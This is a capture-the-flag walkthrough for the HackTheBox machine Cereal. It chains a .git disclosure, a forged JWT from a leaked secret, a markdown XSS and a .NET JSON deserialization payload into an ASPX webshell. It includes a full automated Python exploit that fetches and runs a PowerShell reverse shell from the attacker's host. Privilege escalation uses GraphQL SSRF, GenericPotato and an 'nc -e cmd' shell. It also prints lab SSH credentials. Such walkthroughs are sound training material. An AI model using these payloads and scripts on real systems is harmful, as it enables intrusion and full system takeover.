Cereal was about do a good code analysis to find the vulnerability. For me particullary it was extremelly hard and an awesome training for OSWE, for example. After you get the source code from a git disclousure, you analyse it and found a XSS and a deserealization.
You explore the serialization attack and get a shell as sonny, after that, the administrato you get with a port forwading and a grapql exploration.
The auto shell for sonny, you can find on the body of the post.
Hope you enjoy!
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(cereal.htb and source.cereal.htb)
B --> |/etc/hosts| C[.git disclousure]
C --> D(Code Analysis)
D --> |Serialization| E
D --> |Python Script| E[Automated Reverse Shell]
E --> |SSH Pass| F[sonny]
F --> |Port Forwading| G[GraphQL]
G --> |SSRF| H[Administrator]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.217
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80/443
We add the cereal.htb
and source.cereal.htb
to our hosts file, once we found it on nmap scan
We try to open it on the browser
It seems to be a .net application with error message, for now just the directory disclousure is important
1
c:\inetpub\source\default.aspx
It seems to be a login page
We do a gobuster on the source.cereal.htb
1
gobuster dir -u http://source.cereal.htb/ -w /usr/share/wordlists/dirb/common.txt
We found the .git folder, interesting.
We’ll use the gitdumper to dump the .git folder to analyse it
And we download it
1
./gitdumper.sh http://source.cereal.htb/.git/ source/
We see that the files were deletted
So we restore all of them
Web App Source Code
So, let’s start a small enumeration on the code of the web app to see how it’s working
I like to start with the Controllers
, because here the developers will put the ways that the user can input data over the application
Here we see if we put some post data to the server we can interact the the database, it’s pretty interesting
Few lines after it we see more interesting things
We can serialize data over the server, it’s important when we are talking about web attacks.
In this case, the line 41 is blocking the words objectdataprovider, windowsidentity and system, so our payload need to be without these words.
Some lines fewer we see that it’s restricting the IP’s. This happens on boxes that can only receive connections from localhost
So, let’s see where this RestrictIP is being seted
We search on the code for it
Looking above we see that these configs are being set on the appsettings.json
So, we open it
We see here that it’s making some kind of filtering, just accepting connection from localhost
The UserService.cs
is probably handling the auth, so it’s important to see it
We see that the auth is using JWT tokens
But the key is hidden, it’s a problem, because if we want to generate valid tokens we must know the correct key
We search on the .git folder to see if someone typped the key there
We see the git log
And we get the first one
1
git checkout 8f2a1a88f15b9109e1f63e4e4551727bfb38eee5
And now, we have the secret on the vscode
Now what we need to do is generate a valid token to be used
We can do it in a windows wm or whatever, I’ll use a browser way to generate it
We copy and paste the code adding the user which appears on the git files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
using System;
using System.Collections.Generic;
using System.IdentityModel.Tokens.Jwt;
using System.Linq;
using System.Security.Claims;
using System.Text;
using Microsoft.IdentityModel.Tokens;
public class Program
{
public static void Main()
{
var tokenHandler = new JwtSecurityTokenHandler();
var now = DateTime.UtcNow;
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new[]
{
new Claim( ClaimTypes.Name, "sonny")
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(Encoding.UTF8.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf")), SecurityAlgorithms.HmacSha256),
};
var token = tokenHandler.CreateToken(tokenDescriptor);
var tokenString = tokenHandler.WriteToken(token);
Console.WriteLine(tokenString);
}
}
We run, and get a JWT valid token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6InNvbm55IiwibmJmIjoxNjM1NDY5ODQ2LCJleHAiOjE2MzYwNzQ2NDYsImlhdCI6MTYzNTQ2OTg0Nn0.RU7nKKTuV3NOUHWkPNGc_b790kvdm79HLKwWmYmvGL8
We see again on the code where we’ll use it
It’s a post for /requests with a valid ip
We can do a jwk token with a python script (get from 0xdf)
1
2
3
4
5
#!/usr/bin/env python3
import jwt
from datetime import datetime, timedelta
print(jwt.encode({'name': "1", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256"))
Auth Bypass
So, let’s use it
Error 401, Unauthorized
403 Forbidden
415 Unsupported Media Type
We delete the Content-Type: application/x-www-form-urlencoded
and change to json
400 Bad Request
Seems that it requires a body, we put it
A JSON field is required
Great!! Now we can great cereal’s
Sure, but if we try to get the id on other request we still get errors when trying to trigger the deserealization
That’s because we must set some parameters to it properly works
We see on the models folder what we need to put on the request
Navigating to /ClientApp/src/_services/authentication.service.js
you can see how it handles a successful login request
In summary, the JWT is created on successful login and saved in Local Storage with a key of currentUser, and the object returned needs to have a token parameter.
So we look at the authentication method and see what is stored on the browser
So, let’s apply that
After add the storage and refresh the page, we don’t get anymore the login page
When a send a request to burp, we se the parameters being seted on the data
Ok, now looking further we found a way to trigger XSS on the page.
1
{"json":"{\"title\":\"0x4rt3mis\",\"flavor\":\"bacon\",\"color\":\"#FFF\",\"description\":\"Exploit\"}"}
This app seems to be executing the code anywhere else, as a administrator
XSS
Weirdly we look at the AdminPage and we see some interesting things
This Markdown preview called our attention, on line 2 we see this import
import { MarkdownPreview } from 'react-marked-markdown';
So, we’ll see what version of it is running on the app
We search for vulnerabilities of this version
And found a XSS
We see that the way described on the forum is similar for what we have on the web app
That suggests that if I can set a cereal title to [XSS](javascript: [code])
and then someone looks at the admin page, I should get XSS.
After some play arround we found one which works
1
[XSS](javascript: document.write('<img src="http://10.10.14.20/0x4rt3mis" />'))
We need to encode the '"
because it’s markdown
1
[XSS](javascript: document.write%28%27<img src=%22http://10.10.14.20/0x4rt3mis%22 />%27%29)
And we get the request back
We have XSS!
Now, what we need to do is get a script tag working, so we can execute javascript code in it and exploit the server
I was able to redirect the page to my webserver by setting window.location
1
[XSS](javascript: document.write%28%22<script>window.location = 'http://10.10.14.20/location';</script>%22%29)
So we can run commands in it
DownloadHelper
One more thing is important to mention, on the files we have a downloadhelper.cs which will give hints about how to upload files on the server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class DownloadHelper
{
private String _URL;
private String _FilePath;
public String URL
{
get { return _URL; }
set
{
_URL = value;
Download();
}
}
public String FilePath
{
get { return _FilePath; }
set
{
_FilePath = value;
Download();
}
}
//https://stackoverflow.com/a/14826068
public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
{
int place = Source.LastIndexOf(Find);
if (place == -1)
return Source;
string result = Source.Remove(place, Find.Length).Insert(place, Replace);
return result;
}
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
}
}
}
}
This code has public functions to set URL and FilePath, and on setting each, the private Download function is called, which gets a file from URL and saves it at FilePath (with a slight modification).
So if I can create one of these objects, then it will download a file to a location of my choosing.
Sonny Shell
Now, we can start building our shell manually, to get the server
First we need to mount our payload to be deserealized on the server
We’ll use again the dotnetfiddle. Just copy and paste the downloadhelper.cs and fixing the imports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Threading.Tasks;
using Newtonsoft.Json;
public class DownloadHelper
{
private String _URL;
private String _FilePath;
public String URL
{
get { return _URL; }
set
{
_URL = value;
Download();
}
}
public String FilePath
{
get { return _FilePath; }
set
{
_FilePath = value;
Download();
}
}
//https://stackoverflow.com/a/14826068
public static string ReplaceLastOccurrence(string Source, string Find, string Replace)
{
int place = Source.LastIndexOf(Find);
if (place == -1)
return Source;
string result = Source.Remove(place, Find.Length).Insert(place, Replace);
return result;
}
private void Download()
{
using (WebClient wc = new WebClient())
{
if (!string.IsNullOrEmpty(_URL) && !string.IsNullOrEmpty(_FilePath))
{
//wc.DownloadFile(_URL, ReplaceLastOccurrence(_FilePath,"\\", "\\21098374243-"));
}
}
}
}
public class Program
{
public static void Main()
{
DownloadHelper obj = new DownloadHelper();
obj.URL = "";
obj.FilePath = "";
string json = JsonConvert.SerializeObject(obj, new JsonSerializerSettings()
{
TypeNameHandling = TypeNameHandling.Objects,
TypeNameAssemblyFormat = System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple
});
Console.WriteLine(json);
}
}
And here we have our payload
1
{"$type":"DownloadHelper, 4orwi1sa","URL":"","FilePath":""}
So we adapt our payload to download a file in our file system
The path is where we found earlier on the web disclousure information on the server
1
{"JSON": "{'$type':'Cereal.DownloadHelper, Cereal','URL':'"http://10.10.14.20/shell.aspx"','FilePath': 'C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx'}"}
This payload need to be send as a JSON object to the server, then once we know that we have a admin looking at the XSS, we do a session riding and make it executes the payload and download the file on the server, so let’s start it
The payload working is this:
1
2
3
4
{
"RequestId":999,
"JSON": "{\"$type\":\"Cereal.DownloadHelper, Cereal\",\"URL\":\"http://10.10.14.20/shell.aspx\",\"FilePath\": \"C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx\"}"
}
We execute it, and now we just need to make the admin look at it, for that we will use a XMLHTTPRequest
1
2
3
4
5
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://cereal.htb/requests/999");
xhr.setRequestHeader("Authorization", "Bearer JWT");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send();
The script will be like this one
1
2
3
{
"json":"{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://cereal.htb/requests/999', true%29;xhr.setRequestHeader%28'Authorization','Bearer TOKEN !! '%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test\"}"
}
And after some moments, we get the connection on our python web server
Ok, it’s reaching me and trying to download it
And we see the page https://source.cereal.htb/uploads/21098374243-shell.aspx
And we have RCE!
Now let’s get a reverse shell
Now, let’s automate it
Auto Shell
First, we will use our python skeleton to do that
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
Here it is
auto_reverse.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/python3
# Author: 0x4rt3mis
# HackTheBox - Cereal - Auto reverse shell
import argparse
import requests
import sys
import jwt
from datetime import datetime, timedelta
from threading import Thread
import threading
import http.server
import socket
from http.server import HTTPServer, SimpleHTTPRequestHandler
import socket, telnetlib
from threading import Thread
import os
import re
import urllib3
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
'''Here come the Functions'''
# Set the handler
def handler(lport,target):
print("[+] Starting handler on %s [+]" %lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',lport))
s.listen(1)
conn, addr = s.accept()
print("[+] Connection from %s [+]" %target)
t.sock = conn
print("[+] Shell'd [+]")
t.interact()
# Setting the python web server
def webServer():
debug = True
server = http.server.ThreadingHTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
if debug:
print("[+] Starting Web Server in background [+]")
thread = threading.Thread(target = server.serve_forever)
thread.daemon = True
thread.start()
else:
print("Starting Server")
print('Starting server at http://{}:{}'.format('0.0.0.0', 80))
server.serve_forever()
# Create the JWT Token
def createJWT():
print("[+] Let's create the JWT Token [+]")
global token
token = jwt.encode({'name': "admin", "exp": datetime.utcnow() + timedelta(days=7)}, 'secretlhfIH&FY*#oysuflkhskjfhefesf', algorithm="HS256")
print("[+] Token Created [+]")
return token
def sendXSS(rhost,token,lhost):
print("[+] Let's send the XSS [+]")
os.system("cp /usr/share/webshells/aspx/cmdasp.aspx shell.aspx")
url = "https://%s:443/requests" %rhost
headers = {"Authorization": "Bearer %s" %token, "Content-Type": "application/json"}
json={"JSON": "{\"$type\":\"Cereal.DownloadHelper, Cereal\",\"URL\":\"http://%s/shell.aspx\",\"FilePath\": \"C:\\\\inetpub\\\\source\\\\uploads\\\\shell.aspx\"}" %lhost, "RequestId": 666}
r.post(url, headers=headers, json=json, proxies=proxies, verify=False)
print("[+] XSS Sent ! [+]")
def triggerXSS(rhost,token):
print("[+] Trigger the XSS [+]")
url = "https://%s:443/requests" %rhost
headers = {"Authorization": "Bearer %s" %token, "Content-Type": "application/json"}
json={"json": "{\"title\":\"[XSS](javascript: document.write%28%22<script>var xhr = new XMLHttpRequest;xhr.open%28'GET', 'https://" + rhost + "/requests/666', true%29;xhr.setRequestHeader%28'Authorization','Bearer " + token + "'%29;xhr.send%28null%29</script>%22%29)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"0x4rt3mis\"}"}
r.post(url, headers=headers, json=json, proxies=proxies, verify=False)
print("[+] Triggered, wait one minute to be done ! [+]")
# Mount the payload
def mountPayload(lhost,lport):
print("[+] Meanwhile, let's mount the ps1 payload [+]")
if os.path.isfile('Invoke-PowerShellTcp.ps1'):
os.system("rm Invoke-PowerShellTcp.ps1")
print("[+] Let's download the Nishang reverse [+]")
os.system("wget -q -c https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1")
print("[+] Download Ok! [+]")
print("[+] Let's add the call to reverse shell! [+]")
file = open('Invoke-PowerShellTcp.ps1', 'a')
file.write('Invoke-PowerShellTcp -Reverse -IPAddress %s -Port %s' %(lhost,lport))
file.close()
print("[+] Call added! [+]")
def getRCE(rhost,command):
print("[+] Now, let's get the reverse [+]")
print("[+] Waiting the server download the aspx !!! [+]")
os.system("sleep 150")
url = "https://source.%s:443/uploads/21098374243-shell.aspx" %rhost
headers = {"Referer": "https://source.cereal.htb/uploads/21098374243-shell.aspx", "Content-Type": "application/x-www-form-urlencoded", "Origin": "https://source.cereal.htb"}
# First req to get the right parameters
req = r.post(url, headers=headers, proxies=proxies, verify=False)
STATE = re.search('input.+?name="__VIEWSTATE".+?value="(.+?)"', req.text).group(1)
GENERATOR = re.search('input.+?name="__VIEWSTATEGENERATOR".+?value="(.+?)"', req.text).group(1)
VALIDATION = re.search('input.+?name="__EVENTVALIDATION".+?value="(.+?)"', req.text).group(1)
data = {"__VIEWSTATE": "%s" %STATE, "__VIEWSTATEGENERATOR": "%s" %GENERATOR, "__EVENTVALIDATION": "%s" %VALIDATION, "txtArg": "%s" %command, "testing": "excute"}
# Now just send the commands
req1 = r.post(url, headers=headers, proxies=proxies, verify=False, data=data)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-ip', '--localip', help='Local IP to receive the reverse', required=True)
parser.add_argument('-p', '--localport', help='Local Port to receive the reverse', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.localip
lport = args.localport
'''Here we call the functions'''
# Set up the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
# Set up the web python server
webServer()
# Create the token
createJWT()
# Send XSS
sendXSS(rhost,token,lhost)
# Trigger XSS
triggerXSS(rhost,token)
# Let's mount the payload
mountPayload(lhost,lport)
# Let's get the reverse now
command = "powershell IEX(New-Object Net.WebClient).downloadString('http://%s/Invoke-PowerShellTcp.ps1')" %lhost
getRCE(rhost,command)
if __name__ == '__main__':
main()
SSH Soony
Looking at the files on the server we found ssh credentials
sonny:mutual.madden.manner38974
And we are in!
We see that it’s running local port 8080
We forward it to our kali
1
ssh -L 5555:127.0.0.1:8080 sonny@cereal.htb
Sonny –> Administrator
When we open the browser we see a web page
When we look at the source code of the page, we see the request to /api/graphql
We add a tool on firefox to manage with GRAPHQL
We’ll change a plantation query
We try a SSRF attack on the params
And it reaches our box
Looking again on the box we see that we have SeImpersonatePrivilege enabled, we can impersonate the administrator token and become root
We searched about it, and found a github link from the author of the box with a GenericPotato
, once we cannot use the RottenPotato because of the version of the windows server
We donwload it compiled from another write-up of this box, of course this is not recommend because we don’t know what the user have compiled there, but once we know it’s just a ctf, no big problem to use it.
We download it to the box, with the nc.exe too
powershell IWR -Uri http://10.10.14.20:8000/nc.exe -OutFile C:\\Users\\sonny\\Desktop\\nc.exe
powershell IWR -Uri http://10.10.14.20:8000/GenericPotato.exe -OutFile C:\\Users\\sonny\\Desktop\\GenericPotato.exe
Okay, downloaded
1
.\GenericPotato.exe -p "C:\Users\sonny\Desktop\nc.exe" -a "10.10.14.20 555 -e cmd" -e HTTP -l 5555
We run the query
And get a system shell